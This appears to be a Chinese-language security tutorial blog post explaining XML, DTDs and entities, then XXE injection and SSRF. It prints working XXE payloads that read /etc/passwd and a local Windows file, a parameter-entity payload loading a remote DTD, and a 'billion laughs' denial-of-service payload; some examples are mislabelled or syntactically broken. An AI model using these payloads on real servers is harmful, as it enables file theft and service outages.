非常规注入

XML

简介

XML(The Extensible Markup Language)可扩展标识语言。最初目的是弥补HTML的不足,后逐渐用于网络数据的转换和描述。其设计宗旨是传输数据,而不是显示数据。XML在web中的应用已十分广泛,是各种应用程序之间数据传输最常用的工具

与HTML的区别

  • HTML被设计于用来展示数据
  • XML被设计于用来传输数据

XML实体(ENTITY)

在一个甚至多个XML文档中频繁使用某一条数据,则可以预先定义一个这条数据的别名,即ENTITY,然后在这些文档中需要该数据的地方调用它

实体类型

普通实体、外部实体、参数实体、外部参数实体


内部实体和外部实体

根据实体的来源,,可以分为内部实体外部实体
XML定义了两种类型的ENTITY:

  • XML文档中使用的ENTITY
  • 作为参数在DTD文件中使用的ENTITY
    定义好的ENTITY在文档中通过&实体名;来使用

TIP:可以把实体当作XML语言的变量


普通实体和参数实体

其又可分为普通实体和参数实体

类型 普通实体 参数实体
使用场合 XML文档中 只用于DTD中元素和属性的声明中
内部声明 <!ENTITY 实体名 "文本内容"> <!ENTITY % 实体名 "文本内容">
外部声明 <!ENTITY 实体名 SYSTEM "外部文件URL地址"> <!ENEITY % 实体名 SYSTEM "外部文件URL地址">
引用方式 &实体名; %实体名;

DTD

定义

DTD(Document Type Definition)文档类型定义,是一种XML约束模式语言,属于XML文件组成的一部分

应用形式

DTD文档有三种应用形式:

  1. 内部DTD文档
    <!DOCTYPE 根元素[定义内容]>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE note [ <!--定义此文档为note类型-->
    <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个-->
    <!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型,下同-->
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT head (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    ]>

    <note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
    </note>

  1. 外部DTD文档
    <!DOCTYPE 根元素 SYSTEM "DTD文件路径">
    outdtd.dtd
    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="UTF-8"?>
    <!ELEMENT poem (author,title,content)>
    <!ELEMENT author (#PCDATA)>
    <!ELEMENT title (#PCDATA)>
    <!ELEMENT content (#PCDATA)>

outdtd.xml

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem SYSTEM "outdtd.dtd">
<poem>
<author>wangwei</author>
<title>title</title>
<content>this is content</content>
</poem>


  1. 内外部DTD文档结合
    <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
    dtd_2.dtd
    1
    2
    3
    <?xml version="1.0" encoding="UTF-8"?>
    <!ELEMENT author (#PCDATA)>
    <!ELEMENT title (#PCDATA)>

out2dtd.xml

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem SYSTEM "dtd_2.dtd"[
<!ELEMENT poem (author, title, content)>
<!ELEMENT content (#PCDATA)>
]>

<poem>
<author>wangwei</author>
<title>title</title>
<content>this is content</content>
</poem>


作用

  • 数据库表结构与数据记录

  • 每个XML文件可以携带一个自身格式的描述

  • 不同组织的人可以使用一个通用DTD来交换数据
  • 应用程序可以使用一个标准DTD校验从外部世界接收来的XML数据是否有效

此处重点了解文档类型定义,因为XXE发生在此处:
DTD的作用是定义XML文档的合法构建模块。它既可以在XML文档内声明,也可以外部引用

在DTD内,我们可以声明外部实体
语法规则:
内部声明实体

1
<!ENTITY 实体名称 "实体的值">

引用外部实体

1
<!ENTITY 实体名称 SYSTEM "URL">


漏洞原理

普通实体引入外部实体

通过file协议,引入外部实体参数

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<test>&xxe;</test>


参数实体引入外部实体

引入外部参数实体outdtd.dtd文件

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE % test[
<!ENTITY %a SYSTEM "http://www.test.com/outdtd.dtd">
% a;]>

<test>&xxe;</test>

outdtd.dtd

1
<!ENTITY xxe SYSTEM "file:///etc/passwd">


支持的协议

libxml2 PHP Java .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar

XXE简介

XXE(XML External Entity Injection),即XML外部实体注入,漏洞是对非安全的外部实体数据进行处理时引发的安全问题。
XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种运行用户对自己的标记语言进行定义的源语言。XML文档包括XML声明、DTD文档类型定义(可选)、文档元素

XXE的危害

读取任意文件

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY entity SYSTEM "file://C:\Users\rugal\Desktop\test.txt">
]>

<root>&entity;</root>

利用成功示例结果:
<root>123123admin</root>


执行系统命令

1
2
3
4
5
6
7
8
9
10
<?php
$xml=<<<EOF
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/test.txt">
]>
<x>&xxe;</x>
EOF;

$data = simplexml_load_string($xml);
print_r($data);
?>

Dos拒绝服务攻击

递归调用,以占用大量服务器资源

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>

<lolz>&lol9;</lolz>

等等其它危害


SSRF

介绍

SSRF(Server-Side Request Forgery)服务器端请求伪造,是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞
一般情况下,SSRF访问的目标是从外网无法访问的内部系统(正是由于它是服务端发起的,所以它能够请求到与之相连的而与外网隔离的内部系统)。
SSRF形成的原因大都是由于服务端提供了其它服务器应用获取数据的功能且没有对目标地址做过滤与限制
比如从指定URL地址获取网页文本内容、加载指定地址的图片、下载等

原理示例

当边界主机存在XXE漏洞XXE.php文件时:
黑客(10.10.10.10)==>边界主机(外网10.20.10.10/内网1.1.1.1)==>内网(1.1.1.2/3/4)


SSRF综合训练

bwapp中SSRf实验


补充

PHP中Session配置问题

关于session配置的问题
Warning: session_start() [function.session-start]:
https://blog.csdn.net/qq_24338883/article/details/51450751

修改
php.ini中的session.auto_start = 0session.auto_start = 1

您的支持是我前进的动力!